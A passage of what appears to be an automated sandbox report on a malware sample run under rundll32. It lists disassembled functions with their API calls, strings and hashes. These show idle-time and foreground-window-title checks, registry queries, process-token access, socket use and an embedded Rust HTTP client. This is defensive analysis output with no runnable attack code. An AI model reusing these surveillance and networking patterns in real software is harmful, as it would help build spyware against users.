memmove.VCRUNTIME140(?,?,0000011C), ref: 6CC15ED2
memmove.VCRUNTIME140(0000002C,?,0000011C), ref: 6CC15F29

Strings

U9W{, xrefs: 6CC152AE

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: U9W{
API String ID: 2162964266-3288374708
Opcode ID: fe0a8e54bb1729b1e81785b64a5a260c002d1bfa04f08463dfdc38c3afe2665c
Instruction ID: 64ab14800f82ed232d3c8f84798c8ddb6b0b60b60415b703a4e2280f0d414d8a
Opcode Fuzzy Hash: fe0a8e54bb1729b1e81785b64a5a260c002d1bfa04f08463dfdc38c3afe2665c
Instruction Fuzzy Hash: C112AE75908B858FC722CF25C4807DBB7F5BF8A341F044A6DD8891F642EB70A589DB92

Function 6CC01157 Relevance: 13.1, APIs: 4, Strings: 4, Instructions: 1069COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000110,?,?,6CCB5F8C,6CCB5F64), ref: 6CC02202
memmove.VCRUNTIME140(?,?,00000110,?,?,?,?,?,6CCB5F8C,6CCB5F64), ref: 6CC0222D

Strings

internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CC020E0
cannot poll Select twice, xrefs: 6CC020FC
dns error, xrefs: 6CC0154C
invalid URL, scheme is not httpinvalid URL, scheme is missinginvalid URL, host is missingConnectError, xrefs: 6CC011EC

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: cannot poll Select twice$dns error$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs$invalid URL, scheme is not httpinvalid URL, scheme is missinginvalid URL, host is missingConnectError
API String ID: 2162964266-100685727
Opcode ID: 544f5beb891f6fa8c3723762f1b9c8b3dba5ace2d9edd1441df9c84951ed29e3
Instruction ID: 4aada4d41ffb0beeb3c5402e26dacec6d95540ab9af558e807324925b33fcf11
Opcode Fuzzy Hash: 544f5beb891f6fa8c3723762f1b9c8b3dba5ace2d9edd1441df9c84951ed29e3
Instruction Fuzzy Hash: 7FB26C31A08B448FC725CF28C49079AF7F1FF89354F148A1EE89D9B651EB71A985CB42

Function 04DBC9F0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Console\0,00000000,000F003F,04DD12F8,B7FCE562,00000001,00000000,00000000), ref: 04DBCA31
RegQueryInfoKeyW.ADVAPI32(04DD12F8,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 04DBCA60
_memset.LIBCMT ref: 04DBCAC4
_memset.LIBCMT ref: 04DBCAD3
RegEnumValueW.KERNEL32(04DD12F8,?,00000000,?,00000000,?,00000000,?), ref: 04DBCAF2

Part of subcall function 04DBF667: _malloc.LIBCMT ref: 04DBF681

Part of subcall function 04DBF667: std::exception::exception.LIBCMT ref: 04DBF6B6
Part of subcall function 04DBF667: std::exception::exception.LIBCMT ref: 04DBF6D0
Part of subcall function 04DBF667: __CxxThrowException@8.LIBCMT ref: 04DBF6E1

RegCloseKey.KERNEL32(04DD12F8,?,?,?,?,?,?,?,?,?,?,?,00000000,04DD12F8,000000FF), ref: 04DBCC03

Strings

Console\0, xrefs: 04DBCA24

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: _memsetstd::exception::exception$CloseEnumException@8InfoOpenQueryThrowValue_malloc
String ID: Console\0
API String ID: 1348767993-1253790388
Opcode ID: 676b63c49d45405b07e72a9b31783cc6f7b579accc9eeb57bdcb17c05d63510a
Instruction ID: eb199c90e8ec9d0f08a7871add42ba4d40cd6adcb21bb6a479bb103ea91a25c2
Opcode Fuzzy Hash: 676b63c49d45405b07e72a9b31783cc6f7b579accc9eeb57bdcb17c05d63510a
Instruction Fuzzy Hash: F7611CB1A01219EFDB04DFA8D880EEEB7B9FB48714F14456AE916E7341D735A901CBA0

Function 04DBBA80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 04DBF667: _malloc.LIBCMT ref: 04DBF681

_memset.LIBCMT ref: 04DBBAA1
GetLastInputInfo.USER32(?), ref: 04DBBAB7
GetTickCount.KERNEL32 ref: 04DBBABD
wsprintfW.USER32 ref: 04DBBAE6
GetForegroundWindow.USER32 ref: 04DBBAEF
GetWindowTextW.USER32(00000000,00000020,000000FA), ref: 04DBBB03

Strings

%d min, xrefs: 04DBBAE0

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Window$CountForegroundInfoInputLastTextTick_malloc_memsetwsprintf
String ID: %d min
API String ID: 3754759880-1947832151
Opcode ID: 5da42c4a30e2c8e06e33422632983acd0af0d1227e01ed4ecfbcd90e348b639c
Instruction ID: 4bad11ad2164d08eeba46f8d7978e74841d2fb0ff25f7e31343148cc9ffb74bb
Opcode Fuzzy Hash: 5da42c4a30e2c8e06e33422632983acd0af0d1227e01ed4ecfbcd90e348b639c
Instruction Fuzzy Hash: 264180B5A00104EBDB14DFA4DC88EDEBBB8EF48700F048159E94A9B355D674BA04CBE1

Function 04DB68A0 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(B7FCE562,00000000,00000000,00000994,?,00000000,04DD10DB,000000FF,?,04DB6A43,00000000), ref: 04DB68C8
OpenProcess.KERNEL32(00000400,00000000,00000000,?,00000000,04DD10DB,000000FF,?,04DB6A43,00000000), ref: 04DB68D7
OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,00000000,04DD10DB,000000FF,?,04DB6A43,00000000), ref: 04DB68F0
CloseHandle.KERNEL32(00000000,?,00000000,04DD10DB,000000FF,?,04DB6A43,00000000), ref: 04DB68FB
SysStringLen.OLEAUT32(00000000), ref: 04DB694E
SysStringLen.OLEAUT32(00000000), ref: 04DB695C
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,04DD10DB,000000FF), ref: 04DB69BE
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,04DD10DB,000000FF), ref: 04DB69C4

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: CloseHandleProcess$OpenString$CurrentToken
String ID:
API String ID: 429299433-0
Opcode ID: ad342f2705bd4d4fdfd93e65391df7e16f1e28db384d5902ca8218c8e4960f24
Instruction ID: a623731be2830ca2598bd0022ef0eb75af7bdae92930d610d2e7785875384cc0
Opcode Fuzzy Hash: ad342f2705bd4d4fdfd93e65391df7e16f1e28db384d5902ca8218c8e4960f24
Instruction Fuzzy Hash: 4641A1B2A00215DBDB11DFA8CC80AEEB7B8FB45704F144569E996F7340E635A900CBE1

Function 6CBE7B12 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 225networkCOMMON

Download Yara Rule

APIs

getpeername.WS2_32(?,?,?), ref: 6CBE7B7C
WSAGetLastError.WS2_32 ref: 6CBE7C16
getsockname.WS2_32(?,?,?), ref: 6CBE7CCE
WSAGetLastError.WS2_32 ref: 6CBE7D62

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 6CBE7E79
assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs, xrefs: 6CBE7E8B

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ErrorLast$getpeernamegetsockname
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs
API String ID: 1444953621-3544120690
Opcode ID: c5d2965c9ba57fc75f3414c8ea2ec2ae1673657f1240f3f9f77d1fd7062722dc
Instruction ID: 09f8e2b9d40287e17c923a777101587b4a5735338444fd3a9cc1237f2f479c60
Opcode Fuzzy Hash: c5d2965c9ba57fc75f3414c8ea2ec2ae1673657f1240f3f9f77d1fd7062722dc
Instruction Fuzzy Hash: BDA16B30808B809AD315CF29C4416ABB7F4FFCA754F009A0DF8D9AB661E7B58985DB43

Function 6CBEB573 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 158networkCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CBEB5A6
__aulldiv.LIBCMT ref: 6CBEB5E8
WSASocketW.WS2_32(00000002,00000001,00000006,00000000,00000000,00000081), ref: 6CBEB6BC
ioctlsocket.WS2_32(?,8004667E,?), ref: 6CBEB6DA
closesocket.WS2_32(?), ref: 6CBEB9F0

Strings

tcp set_nonblocking errortcp bind local error, xrefs: 6CBEB750

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: __aulldiv$Socketclosesocketioctlsocket
String ID: tcp set_nonblocking errortcp bind local error
API String ID: 2345199343-2725198832
Opcode ID: 1d203ed30722f0168e89acee2842f958bcedb555088240f4055446252d71f79c
Instruction ID: 44d6fe3b481e30ccb7f0a6cce53aecbfd33499f831b4c762284596622ad4f9c1
Opcode Fuzzy Hash: 1d203ed30722f0168e89acee2842f958bcedb555088240f4055446252d71f79c
Instruction Fuzzy Hash: 785121302047409FD708CF19C880B6AB7F6EF89794F10CA2DF5598B281E770E845CB92

Function 04DB6CF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 89registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04DB6D59
RegOpenKeyExW.KERNEL32(80000001,04DD5164,00000000,00020019,000008CC), ref: 04DB6D7C
RegQueryValueExW.KERNEL32(000008CC,GROUP,00000000,00000001,?,00000208), ref: 04DB6DCA
lstrcmpW.KERNEL32(?,04DD5148), ref: 04DB6DE0
lstrcpyW.KERNEL32(04DB5676,?), ref: 04DB6DF2

Strings

GROUP, xrefs: 04DB6DC2

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: OpenQueryValue_memsetlstrcmplstrcpy
String ID: GROUP
API String ID: 2102619503-2593425013
Opcode ID: cb7c78a5b2f61a91b412c1a7bc999460be8e7736259984e8fb0c5f4bc8974c5c
Instruction ID: 00006f489578a8d7f918a362a70f61ae1b27b0c188bfd8e4c67898a7baa28067
Opcode Fuzzy Hash: cb7c78a5b2f61a91b412c1a7bc999460be8e7736259984e8fb0c5f4bc8974c5c
Instruction Fuzzy Hash: DA316571A41319EBDB20DF90DD89BDEB7B8FB48714F104299E506A7280DB74EA44CFA1

Function 04DBF989 Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 04DBF9AE
__calloc_crt.LIBCMT ref: 04DBF9BA
__getptd.LIBCMT ref: 04DBF9C7
CreateThread.KERNEL32(00000000,00000000,04DBF924,00000000,00000000,04DBDF63), ref: 04DBF9FE
GetLastError.KERNEL32(?,00000000,?,?,04DBDF63,00000000,00000000,04DB5ED0,00000000,00000000,00000000), ref: 04DBFA08
_free.LIBCMT ref: 04DBFA11
__dosmaperr.LIBCMT ref: 04DBFA1C

Part of subcall function 04DBF87B: __getptd_noexit.LIBCMT ref: 04DBF87B

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 155776804-0
Opcode ID: 3932d915ccb5a01967047440b5381136c333e5ba4a151eb145e67725ec327245
Instruction ID: ed836bd8c36f0173b7d8fa4c98c6645c90ce2e1a319057e7917871171fd82246
Opcode Fuzzy Hash: 3932d915ccb5a01967047440b5381136c333e5ba4a151eb145e67725ec327245
Instruction Fuzzy Hash: E411CE32300706EFAB15AFA4DC809DB37E8EF09768B10402DF986D7150DB30E8018AB1

Function 042073DB Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 04207400
__calloc_crt.LIBCMT ref: 0420740C
__getptd.LIBCMT ref: 04207419
CreateThread.KERNEL32(?,?,04207376,00000000,?,?), ref: 04207450
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 0420745A
_free.LIBCMT ref: 04207463
__dosmaperr.LIBCMT ref: 0420746E

Part of subcall function 042072CD: __getptd_noexit.LIBCMT ref: 042072CD

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 155776804-0
Opcode ID: 970085bbc74a556762baab78e68388534805f6bb3890b2bf606bc78a83e80f97
Instruction ID: 71a93f80cd5fc85662d7a7b699c5419b5483c0157617c87855e33205f98c4b32
Opcode Fuzzy Hash: 970085bbc74a556762baab78e68388534805f6bb3890b2bf606bc78a83e80f97
Instruction Fuzzy Hash: 2E11E932320706AFE711AFB5DC4099B7BE9EF85374B10C125F955861D3DB75F40086A1

Function 04DB7390 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,?,?,?,04DB74A3), ref: 04DB73BD
GetProcAddress.KERNEL32(00000000), ref: 04DB73C4
GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,04DB74A3), ref: 04DB73D2
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,04DB74A3), ref: 04DB73DA

Strings

GetNativeSystemInfo, xrefs: 04DB7398
kernel32.dll, xrefs: 04DB739D

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 3433367815-192647395
Opcode ID: 0b45bb9d620794a3cfd0a1ad45d3f8c41d4161ddfd3ae523d742d1a4e071d442
Instruction ID: 3daec2589c73619c083c7ffea06e492bdbcbc5283f722d349c6407aba7d1a8d1
Opcode Fuzzy Hash: 0b45bb9d620794a3cfd0a1ad45d3f8c41d4161ddfd3ae523d742d1a4e071d442
Instruction Fuzzy Hash: F901D670E012099FCF50DFB899556EEBBF5EB48300F5045A9D95AE2340E67AAA408BA1

Function 04DBF924 Relevance: 10.5, APIs: 7, Instructions: 34threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 04DBF92A

Part of subcall function 04DC3C86: TlsGetValue.KERNEL32(00000000,04DC3DDF,?,04DC44E0,00000000,00000001,00000000,?,04DC8DE6,00000018,04DD6448,0000000C,04DC8E76,00000000,00000000), ref: 04DC3C8F
Part of subcall function 04DC3C86: DecodePointer.KERNEL32(?,04DC44E0,00000000,00000001,00000000,?,04DC8DE6,00000018,04DD6448,0000000C,04DC8E76,00000000,00000000,?,04DC3EEC,0000000D), ref: 04DC3CA1
Part of subcall function 04DC3C86: TlsSetValue.KERNEL32(00000000,?,04DC44E0,00000000,00000001,00000000,?,04DC8DE6,00000018,04DD6448,0000000C,04DC8E76,00000000,00000000,?,04DC3EEC), ref: 04DC3CB0

___fls_getvalue@4.LIBCMT ref: 04DBF935

Part of subcall function 04DC3C66: TlsGetValue.KERNEL32(?,?,04DBF93A,00000000), ref: 04DC3C74

___fls_setvalue@8.LIBCMT ref: 04DBF948

Part of subcall function 04DC3CBA: DecodePointer.KERNEL32(?,?,?,04DBF94D,00000000,?,00000000), ref: 04DC3CCB

GetLastError.KERNEL32(00000000,?,00000000), ref: 04DBF951
ExitThread.KERNEL32 ref: 04DBF958
GetCurrentThreadId.KERNEL32 ref: 04DBF95E
__freefls@4.LIBCMT ref: 04DBF97E

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 2383549826-0
Opcode ID: 9957925bf0d2a80f46a25137a174bd6527d752b1b17a4b9baec280f5000d3392
Instruction ID: a16f0eb3ffa427c79ec7c603b0ec2c37dca7dccc9cf024e9dfc69b64f4bf4b29
Opcode Fuzzy Hash: 9957925bf0d2a80f46a25137a174bd6527d752b1b17a4b9baec280f5000d3392
Instruction Fuzzy Hash: 8AF01D74601202FBEB18BFB1CA4888E7BA9EF49248710C65CE98587211DA35F952DBF5

Function 04207376 Relevance: 10.5, APIs: 7, Instructions: 34threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 0420737C

Part of subcall function 04209878: TlsGetValue.KERNEL32(7FFFFFFF,042099D1,?,?,?,?,?,?,0420AF67,?,?,AC6D425D,00000000,?,0420772F,?), ref: 04209881
Part of subcall function 04209878: DecodePointer.KERNEL32(?,?,?,?,?,?,0420AF67,?,?,AC6D425D,00000000,?,0420772F,?,00000000,0000000A), ref: 04209893
Part of subcall function 04209878: TlsSetValue.KERNEL32(00000000,?,?,?,?,?,?,0420AF67,?,?,AC6D425D,00000000,?,0420772F,?,00000000), ref: 042098A2

___fls_getvalue@4.LIBCMT ref: 04207387

Part of subcall function 04209858: TlsGetValue.KERNEL32(?,?,0420738C,00000000), ref: 04209866

___fls_setvalue@8.LIBCMT ref: 0420739A

Part of subcall function 042098AC: DecodePointer.KERNEL32(?,?,?,0420739F,00000000,?,00000000), ref: 042098BD

GetLastError.KERNEL32(00000000,?,00000000), ref: 042073A3
ExitThread.KERNEL32 ref: 042073AA
GetCurrentThreadId.KERNEL32 ref: 042073B0
__freefls@4.LIBCMT ref: 042073D0

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 2383549826-0
Opcode ID: fba2fa4b594c316878a1adfa7560edcab40b9aea1bfbf9dd4184a751d6ba9434
Instruction ID: a2cb7e87270287015d30bf367eb7dd3a66234914133e5758d2b5d3e3d2e8eaf9
Opcode Fuzzy Hash: fba2fa4b594c316878a1adfa7560edcab40b9aea1bfbf9dd4184a751d6ba9434
Instruction Fuzzy Hash: 90F036B4720604ABE714BF75D54884EBBE9EFC8248310C464ED0687353DB39FC828BA1

Function 6CBC14CE Relevance: 9.6, APIs: 2, Strings: 4, Instructions: 600COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,reqwest-internal-sync-runtimecore thread exited early,0000001D), ref: 6CBC1681

Strings

QK, xrefs: 6CBC2E7F
*/*, xrefs: 6CBC14F1
reqwest-internal-sync-runtimecore thread exited early, xrefs: 6CBC167B
\, xrefs: 6CBC1CEA

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: */*$reqwest-internal-sync-runtimecore thread exited early$QK$\
API String ID: 2162964266-2385550814
Opcode ID: 6549ecb62e3f9a4782e5d0da49724cffe84350070bd36681948f7f4f2050ec9c
Instruction ID: 01502a12f8d63ca2561a8aa0ac14c4d78920cbc0c27ab999bbd764e8870103da
Opcode Fuzzy Hash: 6549ecb62e3f9a4782e5d0da49724cffe84350070bd36681948f7f4f2050ec9c
Instruction Fuzzy Hash: 9E525A716087858FD325CF24C444BEAB7F0FF89315F058AAEE98D9B252EB709485CB52

Function 042032E0 Relevance: 9.0, APIs: 6, Instructions: 32synchronizationsleepCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 042032F1
Sleep.KERNEL32(00000258), ref: 042032FE
InterlockedExchange.KERNEL32(?,00000000), ref: 04203306
WaitForSingleObject.KERNEL32(?,000000FF), ref: 04203312
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0420331A
Sleep.KERNEL32(0000012C), ref: 0420332B

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: ObjectSingleWait$Sleep$ExchangeInterlocked
String ID:
API String ID: 3137405945-0
Opcode ID: 013dece53a6a5f29b4c5b463b69867e49fd7541af16ef335c69ea4f233f8317a
Instruction ID: c1601265802bc13eb5b97468f8356e1838fdd2c6e0d61fe82e1df6878a2707cb
Opcode Fuzzy Hash: 013dece53a6a5f29b4c5b463b69867e49fd7541af16ef335c69ea4f233f8317a
Instruction Fuzzy Hash: 69F054712043146FD6109BADDC84D46B3A8EF99330B104709B221872D0CEB4E8018BA0

Function 04DBF667 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04DBF681

Part of subcall function 04DBF5D3: __FF_MSGBANNER.LIBCMT ref: 04DBF5EC
Part of subcall function 04DBF5D3: __NMSG_WRITE.LIBCMT ref: 04DBF5F3
Part of subcall function 04DBF5D3: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,04DC44E0,00000000,00000001,00000000,?,04DC8DE6,00000018,04DD6448,0000000C,04DC8E76), ref: 04DBF618

std::exception::exception.LIBCMT ref: 04DBF6B6
std::exception::exception.LIBCMT ref: 04DBF6D0
__CxxThrowException@8.LIBCMT ref: 04DBF6E1

Strings

bad allocation, xrefs: 04DBF6AF

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: bad allocation
API String ID: 615853336-2104205924
Opcode ID: aab201280f05becde2bc153f9fc57abfb30ef3b0efbd5f186eeab2c53253321f
Instruction ID: 4057a50c351edfdce5e89d675a513db37d1b9803fe78497e47e35c7682e6ee8b
Opcode Fuzzy Hash: aab201280f05becde2bc153f9fc57abfb30ef3b0efbd5f186eeab2c53253321f
Instruction Fuzzy Hash: 6CF0D171A00209EAEB10EB55CC24AEF3BB9EF00318F04005DD882D2290DBB4FA058BE4

Function 042070D7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 042070F1

Part of subcall function 04207043: __FF_MSGBANNER.LIBCMT ref: 0420705C
Part of subcall function 04207043: __NMSG_WRITE.LIBCMT ref: 04207063
Part of subcall function 04207043: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,0420A0B0,?,00000001,?,?,0420C10B,00000018,04217C70,0000000C,0420C19B), ref: 04207088

std::exception::exception.LIBCMT ref: 04207126
std::exception::exception.LIBCMT ref: 04207140
__CxxThrowException@8.LIBCMT ref: 04207151

Strings

bad allocation, xrefs: 0420711F

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: bad allocation
API String ID: 615853336-2104205924
Opcode ID: cd4ebc629b893fe34e93f74a1f95e79df27b9aaa9394053ac3790bd3fd80a9d0
Instruction ID: 633a6d0cddc924308265399f79d965cd385eaa0296d26268169be8820db3c977
Opcode Fuzzy Hash: cd4ebc629b893fe34e93f74a1f95e79df27b9aaa9394053ac3790bd3fd80a9d0
Instruction Fuzzy Hash: A7F0A93173010E6BEB15ABA4DC44E5D7BE69BE1618F108015E404960E1DFB0FB85C791

Function 04202D10 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 04202D3C
CancelIo.KERNEL32(?), ref: 04202D46
InterlockedExchange.KERNEL32(00000000,00000000), ref: 04202D4F
closesocket.WS2_32(?), ref: 04202D59
